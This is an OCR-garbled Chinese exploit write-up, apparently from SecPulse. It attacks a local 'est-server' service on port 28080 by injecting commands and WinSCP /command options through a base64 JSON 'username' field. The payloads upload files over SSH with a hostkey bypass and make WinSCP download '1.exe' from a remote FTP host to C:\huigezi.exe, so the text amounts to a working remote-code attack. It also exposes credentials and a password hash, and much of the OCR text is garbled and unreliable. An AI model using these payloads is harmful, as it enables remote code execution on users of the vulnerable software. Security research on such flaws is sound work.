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aotfaodf [AFHA]

SEHSRwinscpRYIREEE O

@ Server unexpectedly closed network connection.

{ oK ][ Recomect || help |

ERFRMHENpiZREESH , FRIAXERRMERE. BAXMMEEREIHIES

M Params T Headers | Hex

BET A
JSeonnector s jsontdata=eydleXB| JzoncZNwlywnd XN | cmShbWUnD i cxMzAZODAZN JATNEAM jcuMCAwl jFAD P
Dk jMzOwlywneGF ze3dvemOnQ i dNRDU jNZRKNZV NTV jMGY YT g0OOTYSY2F j¥zVmY 2R i YmQS0DANLGdz ZXJ2ZX
1m0 coxM MuNThuNTMuM jAnLCdwb3J0JzonM j I yMj InLCd3aWR0aCcbJzEzN j ¥nLOdoZW | naHGn0ic3N jenfd=
=& jsoncal |back= jOuery111205498347991 109811 _14640685045578_=1464068504558 HTTPA1 .1
Host: 127.0.0.1:28080

Accept: #/%

User-Agent: Mozillas5.0 (Windows NT &.1; WOWG4) AppleWebKit/537. 346 (KHTML, |ike
Gecko) Chrome/50. 0. 2661, 94 Safari/537. 36

DNT: 1
Referer: http:/ /123 59.53 20/server
Accept-Encoding: gzip, deflate, sdch .
I Accept-Language: zh-CN, zh;g=0. &, en-US;9=0. 6, &n; g50/ 4 II ]
! I
@ 55 im 19 BR  pxmE weE enem xemE  EwAR veE” fURsS
FXIIHIXTOOWKILL 2 B8 AIEIFMcgim i
@IER R |iEH
1p UL YL [INTNTRI] Lz RIS EE] LLUPFOgrarm Hlies [y AVWENE WIAFKSTATO,
Tep 127.00.1 : 17681 127.0.01 : 17882 ESTABLISHED 7604 C:\Program Files («36)' sst-server.sxe
Tp 127.00.1: 17682 127.0.0.1 : 17881 ESTABLISHED 7604 C:\Program Files (86)' sst-server.exe
Top 127.00.1 : 17684 127.0.0.1 : 17683 ESTABLISHED 7604 C:\Program Files (+86) sst-server.exe
Top 127.00.1 1 17685 127.0.0.1 : 17684 ESTABLISHED 7604 C:\Program Files (436) ast-gerver.Bxe
Tep 127.00.1 : 17686 127.0.0.1 : 17687 ESTABLISHED 7604 C:\Prograr Files (36) sst-gerver.sxe
Tp 127.00.1 : 17687 127.0.0.1 : 17686 ESTABLISHED 7604 C:\Program Files (+86, 2st-server.exe
Top 127.00.1 : 17686 127.0.0.1 : 17689 ESTABLISHED 7604 C:\Program Files (+86, est-server.exe
Top 127.00.1: 17689 127.0.0.1 : 17683 ESTABLISHED 7604 C:\Program Files (436, est-server.exe
Tep 127.0.0.1 : 17690 127.0.0.1: 17891 ESTABLISHED 7604 C:\Program Files (436) est-server.exe
Tp 127.00.1 1 17691 127.0.0.1 : 17690 ESTABLISHED 7604 C:\Program Files (+86) ‘est-server.exe
Top 127.00.1 1 17692 127.0.0.1 : 17693 ESTABLISHED 7604 C:\Program Files (+86) est-server.exe
Top 127.00.1: 17693 127.00.1 : 17892 ESTABLISHED 7604 C:\Program Files (86) est-server.exe
Tep 127.00.1 : 17694 127.0.0.1 : 17695 ESTABLISHED 7604 C:\Program Files (436) est-server.exe
Tp 127.00.1 : 17693 127.0.0.1 : 17694 ESTABLISHED 7604 C:\Program Files (86" est-server.exe
Tcp 127001 : 17686 127.0.01 : 17697 ESTABLISHED 7604 C:\Program Files (x88 est-server.exe
Tep 127001+ 17687 127.0.01 + 1769 ESTABLISHED 7604 ‘\Program Files (48 patagreriene !

TCp 1 1828 ESTABLISHED ;
Tp 127.00.1: LISTENING 7604 C:\Prograrm Files (86 ﬁ est-server exe
T 127.0.0.1 : 4300 LISTENING 6308 C:\Prodram Files (+86 O0BINY00.exe

BEIEFimrest-serveriEITEIEAIK28080 , HASRIHEMAVESEIHEFIAAWINSCP, WinSCP2—
WindowsH & MEFESSHEIFFREBIFALSFTPE AR, ERTSHESCPIY. SHEEINAEMEEALSITETE
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BR2EHI .
FHERATSE

http://baike. baidu. com/1ink?url=7jy70fpC91e0uRFUbSObKwsgZSkwYoYX1-M101QQwY JtQuTbR3tD4XoITcsckeVAGMCQoNVVNN8ODaOT fzgYNqg

| (3). JavaliFHSHIGSIEN

ERRIEFRTEERE—MerrorlogXit , FIHFE—T

1 161 [main] INFO org.eclipse.jetty.server.Server - jetty-9.0.z-SNAPSHCT

ﬂﬂ 24, 2016 9:59:48 J:ﬂF org.glassfish.hk?.internal.3ervicelocatorFactoryInpl getGenerator

E%; Cannot find 2 default implementation of the HK2 ServiceLocatorGenerator

T A 24, 2016 9:50:48 ¥ org.glassfish,jersey.server.lpplicationfandler initialize

1%% Initiating Jersey application, version Jersey: 2.0 2013-05-14 20:07:34...

1191 [main] INFO org.eclipse.jetty.server.handler.ContextHandler - Started o.e.3.s.ServietContextHandler@81c175{/,null, AVAILABLE}

1260 [main] INFO org.eclipse -~rver.ServerConnector - Started ServerConnectorfelfécT{HTTB/1.1}{127.0.0.1:28080}

kxec: C:\Program Files (x86 3CP.exe 13078066054@127.0.0. 18894340 :MD547ddT5c55¢013a84969cacc5 fedbbd9808123.59.53. 20: 22222
i Triﬂﬂl!l!!!; L. L UL TLIUL) UL i

1 o e

B BSEE KT LMEH A 1 T28080in [ AIwebiRSS Rjetty _XFRRY , &E—1T
WinSCP. exe 13078066054@127. 0. 0. 18895340 :MD5#7dd75¢55¢03a84969cacc5 Fedbbd9800123. 59. 53. 20: 22222

FERAREXHERENERAREFHmRIEES | AEE T
BiN—BRiZENEHEEFE. TREIHE Rexec:FFE |, BAZFimET ety B TiavafREEABwinscp.,
TEESHIES
GET /connector/ json?
data=eyd0eXB1 Jzonc2NwJywndXN1cm5hbWUn01icxMzA30DA2N jAINEAxM jeuMskwL jFAODK jMzQw JywncGFzc3dvemQnOidNRDU jN2RkNzV jNTV jMGYzYTg0
OTY5Y2F jYzVmY2R1YmQ50DAnLCdzZX J2ZX1n01cxMjMuNTkuNTMuM jAnLCdwb3J0JzonMjIyMjInLCd3aWR0aCc6JzEzNjYnL.CdoZWlnaHQnOic3N jgnfQ==
&jsoncal lback=jQuery111205498347991109811 1464068504557& =1464068504558 HTTP/1. 1
Host: 127.0.0. 1:28080
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36
DNT: 1
Referer: http://123.59.53. 20/server
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh—CN, zh;q=0. 8, en-US;q=0. 6, en;q=0. 4

2#dataEbase644RiSEIE—
{'type"'scp','username':'13078066054@127.0.0.1@89#340',
'‘password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980',
'server':'123.59.53.20','port":'22222",
'width':'1366','heiaht':'768"

@ 55 im 19 BR  pxmE wemE enem xemE EwAR vesE” fURsS

EEixNsonFuRERE AR,

AT

{'type''scp’,
‘'username’:"'|xx0013078066054@127.0.0.1@89#340',
'‘password':'MD5#7dd75c55c0f3a84969cacc5fcdbbd980',
'server':'123.59.53.20',

'port''22222",

'width':'1366','height':'768'}

BaseB44RIBEEIR K% BFerrorlog , BEEIMGEHSEINEN

exec: C:\Program Files (x8§; iNSCP.exe " |Xx00130780660548127.0.0.18894340:MD54$7dd750550013a84963caccs fodbbd9808123.59.58.20:22222

@ IMEF EFR| T

AR
BAEFTLASINBEEE. BRAFAIZ=HASIEN | HiUTipconfighiTEREEREc:

{"type’ :” scp’, username’ :” ipconfig>c:\\ff&&xx0013078066054@127. 0. 0. 1@89#340”,  password’ :’ MD5#7dd75¢55c0f3a84969caccHfcdb
bd980’, server’ :’ 123.59.53.20", " port’ :’ 22222,  width’ :’ 1366", height’ :’ 768’ }

Ferror.log
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3 exec: C:\Program Files (x8( in3CP.exe ipcunfigx::\ff&&xx0013073066054@127.0.0.1@39*340:MDS*Tdd’?ScSScOfSaBQ969cacc£fcdl:hd930@123.59.53.20:‘||

MBS RECETE=ITT .. (BRCEFHEEMNUS.
Java HITHITHS—MAruntime , KB

public static void main(String[] args) {
f/ TODO Auto-generated method stub
fitestmatch ("hitp: //sdf sf . sdfsdf . s/aaa.mp3™);
f/String[] ebkSQLi={"%bf","¥bf """, "Hebioc", "Het¥5c " ];
String cmd="ping -n 1 localhost *;
Runtime run = Runtime.getRuntime();//EOSZH 8 Java [ FAEFEFA=TR
try {
Process p = run.exec{cmd};// Bihs— ik iiTa s
BufferedInputStream in = new BufferedInputStream{p.getInputStream(
BufferedReader inBr = new BufferedReader{new InputStreamReader{in)
String lineStr;
while ((lineStr = inBr.readline(}) != null)
/RS SITEEES ML EER

PR PR Y Py

Problems Javadoc Declaration Search B Console 52 x
<terminated> m [lava Application] ChProgram FilesyJavayjrel8.0_914binyjavaw.exe (2016-5-24 TF2:12:54)

Pinging PC201512102249 [::1] with 32 bytes of data:
Reply from ::1: time<ims

Ping statistics for ::1:

Packets: Sent = 1, Received = 1, Lost = @ (8% losz],
Approximate round trip times in milli-seconds:

Minimum = @ms, Maximum = @ms, Average = @ms

1=/ Tipconfig&&ping -n 1 localhost

BRI

385 String cmd:"ipconfig&&ping -n 1 localhost ™

386 Runtime run = Runtime.getRuntime();// B0 S HE] Java [ FAEFHEHEETE

387 try {

388 Process p = run.exec(cmd);// BE1H— T #IEREDITHS

389 BufferedInputStream in = new BufferedInputStream(p.getInputStreamt

390 BufferedReader inBr = new BufferedReader(new InputStreamReader(in;

391 String lineStr;

392 while ((lineStr = inBr.readline(})) != null)

393 HERE ST EEEN SR LESR

394 System.out.println{lineStry; // TEDEEHTLAEE

395 /B EEIATRM.

396 if (p.waitFor() = @) { N o N
) 3 2 i 19 Y e 1 e EmOE veEE ™ MRS
Y s - BER S TEAE Sk REBE A HE livelfiE IV ARSS

terminateds> m [Java Application] CA\Program Files\Javayjrel.8.0_91\binyjavaw.exe (2016-5-24 2200215
ava.io.I0Exception: Cannot run program "ipconfig&&ping®™: CreateProcess error=2, Th @uUiEF B |iH
at Java.lang.ProcessBuilder.start{Unknown Source)
at Java.lang.Runtime.exec{Unknown Source)
at java.lang.Runtime.exec(Unknown Source)
at Java.lang.Runtime.exec{Unknown Source)
at m.main(m.java:388)
aused by: java.io.I0Exception: CreateProcess error=2, The system cannot find the f
at java.lang.ProcessImpl._create{Mative Method)

BAjavalBd XMITIERITH S TICEREIEEAD S | RERIZRE IR FRIELE.,
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- - —oLa oS-t m—— L - - R Semmem - FEJ

Str“lng cmd=" 1pconFlg\r“\nnetstat\r“\nwhoaml "
Runtime run = Runtime.getRuntime();//IEMSH7] Java B ATEFIES

try {
Pracess n = rin everfemdy- // Bl A — 2k iTa4

i Problems @ lavadoc [2 Declaration <" Search B Console 2
<terminated> m [Java Application] Ch\Program Files\JavayjreL.8.0_91\binyjavaw.exe (2016-5-24 2.2

Error: unrecognized or incomplete command line.

JSAGE:
ipconfig [fallcompartments] [F¢ | /all |

/renew [adapter] | /frelease [adapter] |
frenews [adapter] | /releaset [adapter] |
/flushdns | /displaydns | /registerdns |
/showclassid adapter |
/setclassid adapter [classid] |
/showclassidé adapter |
fsetclassidé adapter [classid] ]

dhere
adapter Connection name

FEANCI TN OSSR RO NSV UT TP o H T B IR | [ Y

(4) FFWSISHTSEEN
WOMREEREINT |, MAREE , ERARTBAAX , BEERAEE LR,
IEEEIEBE Twinscp £, FABEDIEH—LSHAZIBCEERE. SX5INSEHFX/a b, ARMESEH
—RBIXFHEEAY,
RATINTERE
{" type’ :"scp’,  username’ :’ /a b

aanxx0013078066054@127. 0. 0. 1@89#340” ,’ password’ :” MD5#7dd75¢55¢0f3a84969cacc5fcdbbd980’,” server’ :” 123.59.53. 20", port’ :” 2
22227,  width’ :” 1366, height’ :” 768’ }&jsoncal lback=jQuery111205498347991109811 1464068504557

FAi1Ferror.log

exec: C:\Program Files (x86, 'inSCP.exe "|xxo0l30780660548127.0.0.16894340:MD547dd75¢c55¢0£3a84969caccsfedbbd9808123.59.53.20:22222

BT X2 RESHWinscplISHNEZTINEIS | AFAEWS I SIERFMEZR— ST , XT5IAE
FERARIERT. EidREfuzz, KYBtabBXSEEEEFHAINVEIST.

3 exec: C:\Program Files (x8( inSCP.exe ipcunfig)c:\ff&&xx0013078066054@127.0.0.1@89#340:MDS#7dd75c55cOfaaea969cacc5fcdhbd980@123.59.53.20;"

BLRES

\

Oz |, BE A REERRREERwinscp T .

@ 55 fim 1 BR sxmE zeEE  enem” meme EpER vedE" oUEs

— SECPULSE —

PXIFI/0 | ZNZONAFPATS YWYV HJ IS IZ77 THUIZRI FTAAL I VYA T INTRIAF | RS JAL D EOCIFUTARAMTZIBRUILHE N1 J 5o LAl
E T winscpFAft , Eldbhttps://winscp.net/eng/docs/guide_automation BEMEIEIREIART , EnJLA{Tscript , @ B
scriptit @ — LR EfR S IEI— R, Wmyscript.txt

# Connect to SFTP server using a password

open sftp://user:password@example. com/ —hostkey="ssh—rsa 2048 xx:XxX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:xx"
# Upload file

put d:\examplefile. txt /home/user/

# Exit WinSCP

Exit

BAYscriptRiBAtd: \examplefile. txt 3 S HI Eimixn iR 55 25example.comfd/home/user/ HR T
?;’fl,{j-wmscp.com /script=myscript.txtBIAT,
LA LAEIEcommand 248385E script RBEM ST . FI5 |ISIEERE1T.

/command “option confirm off” “open root:123456@192. 168. 217.129” “put c:\\1.txt /tmp/winscp. txt”
“exit”

, EIXEFHAFIRREEN Awinscpi ENESEL , EFIFIsshiRSS LRITIEARD (IKeEF ) BIAMFHISIIR
, BRI AEREE | BN RRANB RIS BARETEE | ADBEANHpcEEHME , TRFIEA

x
I,
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| (&) scpRImsist
BESeEidscptiii , EjscpRwinscpi A AN, &i%EU Fpayload

{" type’ :” scp’, username’ :’ /command “open root:123456@192. 168.217.129” “put c:\\1. txt” “exit” /log=scp2. log
13078066054@123. 59. 78. 141@234#283",’ password’ :” MD5#7dd75¢55¢0f3a84969cacc5fcdbbd9d80”, " server’ :’ 123.59.53. 20", " port’ :’ 2222
2", width’ :> 1920’ , height’ :” 1080°

HrP192.168.217. 129 2T R SAsshiRSS 8 , tgMtab{ &, EAWNT —NMogSsl , EEFInLEART
winscpAYdlog3{4scp2.log

53 . 2016-05-22 11:40:09.531 ssh-rsa 2048 ea:9f:686:e4:51:56:06:57:78:9d:4c:chee:c3:20:be

54 . 2016-05-22 11:40:09.531

55 . 2016-05-22 11:40:09.531 If you trust this host, press Yes. To connect without adding host key to the cache,
press Ho. To abandon the connection press Cancel. ()

6 . 2016-05-22 11:40:09.531 Attempt to close connection due to fatal exception:

57 #* 2016-05-22 11:40:09.531 Host key fingerprint is ssh-rsa 2048 ea:9f:86:ed:5f:56:06:97: 78: 9d: dercbrearcd:20:he

58 % 2016-05-22 11:40:09.531 (Exception) **Host key wasn't verified!#**

59 . 2016-05-22 11:40:09.531 Closing connection.

0 . 2016-05-22 11:40:09.531 sending special code: 12

o

o

Wthostkey SRIGIE,
BT REERIR T N payload A LABL IS scptiM 34+

“option confirm off” “open root:123456@192. 168. 217. 129 —hostkey=""ssh-rsa 2048
ea:9f:86:e4:5f:56:¢6:97:78:9d:4c:cb:ee:c3:20:bc””” “put c:\\1.txt /tmp/winscp. txt” “exit” /log=scp4. log

XAHERTLASHISZAE | KA @R 7 —& i , AEERAEXNpayload#fid{Z&Thostkey XA Y, BT E&RHR
hostkey=FNEFREFANEMREZL

https://support.ssh.com/manuals/server-zos-admin/55/Defining_Server_Host_Key.html

FrLAXF AR 5E, HostkeyZr 7 , FiiSEEK payload,

| (7) FeptetpmEniFIm

EAwinscpiRscisftp , EftERiNstpSEL BT ssIINERT | XBHBAIN.
BBLFAIBE—"MtpBRSSR3{F/payload BRSS8R , @ python B IpyftoE , BElftpEfIHRXRIER A
1.exe , BIRRSFHRIZIH,

@ﬁi'ﬁ‘ S BE  SMmE  weng onmm 0 memE EER hvemE cURS

— SECPULSE —
ABAZAH | MYV PAYIVAU Y PAJUMXETEIWWY X0T | RIS+ 00
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.099 MLST /1.exe

.107 250 End ML3T.

.108 TYPE I

.122 PREV
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130 . 2016-05-24 15:50:22,238 Script: Exit code:
22.238 Disconnected from server

.089 Startup conversation with host finished.

.089 Script: Active session: [1] anonymous@lg4B86533Bu.iock.la
.099 Script: get l.exe C:\huigezi.exe

.099 Listing file "l.exe".

.099 Retriewving file information...

.107 250-Listing "/l.exe":
.107 modify=20160227040549;perm=r;3ize=35496; type=file;unigue=801g6lc3l; /1l.exe

.107 modify=20160227040549;perm=r;5ize=354396:type=Ffile unique=801g6lc3l: /l.exe
.107 Retrieving file information successful

107 1l.exe;-;35496;2016-02-27T04:05:48.000Z;"" [0]:"" [0];--—--——— ;0

,107 File: '/l.exe' [2016-02-27T04:05:49.000Z] [35496

.107 Copying "/1.exe" to local directory started.

.107 Binary transfer mode selected.

.108 Starting download of /l.exe

.122 200 Type set to: Binary.

.133 227 Enterinog passive mode (115.1985.141.82.197.41
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exec: Ci\Program Files (x86)

5 exec: C:\Program Files (x8(
"

exec: C:\Program Files (x36)

exec: Ci\Program Files (x8€

exec: Ci\Program Files (x36)

exec: C:\Program Filez (x8€

hot
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